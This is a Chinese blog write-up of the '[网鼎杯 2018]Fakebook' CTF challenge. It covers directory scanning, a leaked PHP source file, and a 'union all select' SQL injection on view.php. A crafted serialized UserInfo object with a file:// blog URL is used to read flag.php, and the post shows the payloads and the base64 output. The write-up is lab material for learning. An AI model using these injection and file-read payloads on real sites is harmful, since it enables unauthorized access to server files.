[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

(fake:赝品;假货;冒充者

dirsearch扫出来:

db.php
error.php
/css
user.php
view.php   
flag.php
robots.txt
#能访问的就robots.txt 和 view.php  

在robots.txt里发现user.php.bak

下载得到php文件,代码审计:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

主要看这个:

 function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

curl_init()函数的作用初始化一个curl会话,curl_init()函数唯一的一个参数是可选的,表示一个url地址。
curl_exec()函数的作用是执行一个curl会话,唯一的参数是curl_init()函数返回的句柄。
curl_close()函数的作用是关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄。
curl_setopt — 为一个curl设置会话参数。
curl_getinfo — 获取一个curl连接资源句柄的信息

一头雾水:

看到url:http://0896ed58-799b-4eaa-80e8-e0f782f50501.node4.buuoj.cn:81/view.php?no=-1

试了不同的no,有结果,就是注入了。

然而看过滤了哪些关键词,brupsite测不出来,估计字典的事。

看了wp,说是union all select 可以用,那就用吧;

http://0896ed58-799b-4eaa-80e8-e0f782f50501.node4.buuoj.cn:81/view.php?no=-1 union all select 1,2,3,4 

看到notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31

http://0896ed58-799b-4eaa-80e8-e0f782f50501.node4.buuoj.cn:81/view.php?no=-1 union all select 1,data,3,4 from users
username:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:13:"www.baidu.com";}

注册后,信息被序列化,存进data;

根据之前扫出来的flag.php构造payload:

/view.php?no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

最后有个坑,flag得去源码里找,还是base64加密;

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMGFjN2U3NS01MWU4LTQzMWQtOGRlZi1hYzc0YWE4ZmI0YjR9IjsNCmV4aXQoMCk7DQo=
<?php

$flag = "flag{c0ac7e75-51e8-431d-8def-ac74aa8fb4b4}";
exit(0);

总结:curl那块还是有些不太清晰


参考博客:https://blog.csdn.net/qq_43622442/article/details/105633194

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jerem1ah

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值